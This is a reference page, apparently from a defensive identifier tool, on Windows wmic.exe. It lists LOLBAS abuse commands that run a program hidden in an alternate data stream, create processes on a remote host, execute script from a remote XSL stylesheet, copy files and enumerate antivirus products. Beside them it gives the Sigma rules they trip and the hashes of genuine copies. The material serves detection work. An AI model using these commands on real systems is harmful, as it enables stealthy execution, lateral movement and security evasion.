Identifier / Programs / Windows
wmic.exe
Displays WMI information inside an interactive command shell. Windows commands reference
LOLBAS ADS, Execute, Copy 59 Sigma rules name it 15 ATT&CK techniques 7 documented commands 12 known copies with hashes
How wmic.exe is abused
ADS T1564.004 Hide Artifacts: NTFS File Attributes
process create
Execute T1218 System Binary Proxy Execution
process create
Copy T1105 Ingress Tool Transfer
datafile where copy
Each abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for wmic.exe.
7 documented commands
ADS T1564.004 Hide Artifacts: NTFS File Attributes User privileges
Execute a .EXE file stored as an Alternate Data Stream (ADS)
wmic.exe process call create "{PATH_ABSOLUTE}:program.exe"Trips 1 Sigma rule: mediumProcess Creation Attempt via Wmic.EXE by Michael Haag, Florian Roth (Nextron Systems), juju4, oscd.community
Execute T1218 System Binary Proxy Execution User privileges
Execute calc from wmic
wmic.exe process call create "{CMD}"Trips 1 Sigma rule: mediumProcess Creation Attempt via Wmic.EXE by Michael Haag, Florian Roth (Nextron Systems), juju4, oscd.community
Execute T1218 System Binary Proxy Execution User privileges
Execute evil.exe on the remote system.
wmic.exe /node:"192.168.0.1" process call create "{CMD}"Trips 2 Sigma rules: mediumProcess Creation Attempt via Wmic.EXE by Michael Haag, Florian Roth (Nextron Systems), juju4, oscd.community; mediumWMIC Remote Command Execution by frack113, Nasreddine Bencherchali (Nextron Systems)
Execute T1218 System Binary Proxy Execution User privileges
Create a volume shadow copy of NTDS.dit that can be copied.
wmic.exe process get brief /format:"{REMOTEURL:.xsl}"Trips 2 Sigma rules: highPotential Remote SquiblyTwo Technique Execution by Markus Neis, Florian Roth, Swachchhanda Shrawan Poudel (Nextron Systems); mediumPotential Process Reconnaissance via Wmic.EXE by frack113
Execute T1218 System Binary Proxy Execution User privileges
Executes JScript or VBScript embedded in the target remote XSL stylsheet.
wmic.exe process get brief /format:"{PATH_SMB:.xsl}"Trips 2 Sigma rules: highPotential Remote SquiblyTwo Technique Execution by Markus Neis, Florian Roth, Swachchhanda Shrawan Poudel (Nextron Systems); mediumPotential Process Reconnaissance via Wmic.EXE by frack113
Copy T1105 Ingress Tool Transfer User privileges
Copy file from source to destination.
wmic.exe datafile where "Name='C:\\windows\\system32\\calc.exe'" call Copy "C:\\users\\public\\calc.exe"Trips no Sigma process-creation rule.
Execute T1518.001 Software Discovery: Security Software Discovery User privileges
Executes WMIC to gather the existing Antivirus or EDR solution installed on the machine.
WMIC.exe /Namespace:\\\\root\\SecurityCenter2 Path AntiVirusProduct Get displayName,productStateTrips 2 Sigma rules: mediumPotential Product Class Reconnaissance Via Wmic.EXE by Michael Haag, Florian Roth (Nextron Systems), juju4, oscd.community, Swachchhanda Shrawan Poudel (Nextron Systems); mediumPotential Product Reconnaissance Via Wmic.EXE by Nasreddine Bencherchali
6 of the 7 commands the identifier reads trip a Sigma process-creation rule; 1 trips none. These commands and their descriptions are from LOLBAS’s entry for wmic.exe, by Oddvar Moe, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for wmic.exe. The identifier reads each with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.
What detects it
And 29 more rules that name wmic.exe.
Is it the real wmic.exe?
C:\Windows\system32\wbem\C:\Windows\SysWOW64\wbem\12 known copies
10.0.22000.1 (WinBuild.160101.0800) · C:\WINDOWS\SysWOW64\wbem\WMIC.exe · signed by Microsoft Windows
71dcb8cceedef8173e617f0dbc893c20936eda724479ed19e9624ed8648cba1710.0.22000.1 (WinBuild.160101.0800) · C:\WINDOWS\system32\wbem\WMIC.exe · signed by Microsoft Windows
9ca09a4366f3ef2006be964cb0de037219a311a2d49aafafa2c5bdc736dce1be10.0.19041.1 (WinBuild.160101.0800) · C:\Windows\SysWOW64\wbem\WMIC.exe · signed by Microsoft Windows
9578c31e1b58fa75a2b612456ebce324296e53a007e5697995cec5785956afe410.0.19041.1 (WinBuild.160101.0800) · C:\Windows\system32\wbem\WMIC.exe · signed by Microsoft Windows
fa78c88dac91fdf2eac736e6900ac1ec4ab7a388b8f77a23ffa7e80a4ad29f5a10.0.18362.1 (WinBuild.160101.0800) · C:\WINDOWS\system32\wbem\WMIC.exe · signed by Microsoft Windows
96bec668680152df51ec1de1d5362c64c2aba1eda86f9121f517646f5dec2b7210.0.18362.1 (WinBuild.160101.0800) · C:\WINDOWS\SysWOW64\wbem\WMIC.exe · signed by Microsoft Windows
a6acb58967159648c84d67b06dc6511a9a831386742b4f1f96b0a19afc8b803710.0.17763.1 (WinBuild.160101.0800) · C:\Windows\system32\wbem\WMIC.exe · signed by Microsoft Windows
34c4ed50a3441bd7cb6411749771c637a8c18c791525d8fcb5ae71b0b1969ba610.0.17763.1 (WinBuild.160101.0800) · C:\Windows\SysWOW64\wbem\WMIC.exe · signed by Microsoft Windows
f41a8470c4ecf503b576879a9043df5781f4f08d688012e3db391e04c8eb894a10.0.14393.0 (rs1_release.160715-1616) · C:\Windows\system32\wbem\WMIC.exe · signed by Microsoft Windows
6679ea8fbeb539b5852ce8838420471fed0600f5050f3370dbb355dac76bf07210.0.14393.0 (rs1_release.160715-1616) · C:\Windows\SysWOW64\wbem\WMIC.exe · signed by Microsoft Windows
969d91ffa56c80f82f893559316f6e1f12dc6c023411c43daedc80e8f9ac26526.3.9600.16384 (winblue_rtm.130821-1623) · C:\windows\SysWOW64\wbem\WMIC.exe · not signed
42497534cdf28b26ce51a2dc26e5e5262e403cd512b725d47df97b43a6ff21fb6.3.9600.16384 (winblue_rtm.130821-1623) · C:\windows\system32\wbem\WMIC.exe · not signed
69fe210903c3f03436fe9f00a493cdb822a64ea17a5729593bbe9ec3e0763c1bFrom the file’s version info and the copies recorded by xCyclopedia (MIT). A copy in another folder, signed by someone else or with another hash is not necessarily malicious, but it is worth a closer look. In Ceplin, "<sha256>".whatis() says which known copy a hash is.
Everyday use
Run a command using the fundamental grammar
wmic alias where_clause verb_clauseIdentifyShow brief details about the currently running processes
wmic process list briefIdentifyTrips 1 Sigma rule: mediumPotential Process Reconnaissance via Wmic.EXE by frack113
Show full details about the currently running processes
wmic process list fullIdentifyTrips 1 Sigma rule: mediumPotential Process Reconnaissance via Wmic.EXE by frack113
Of the 3 examples the identifier reads, 2 match LOLBAS abuse or trip a Sigma process-creation rule.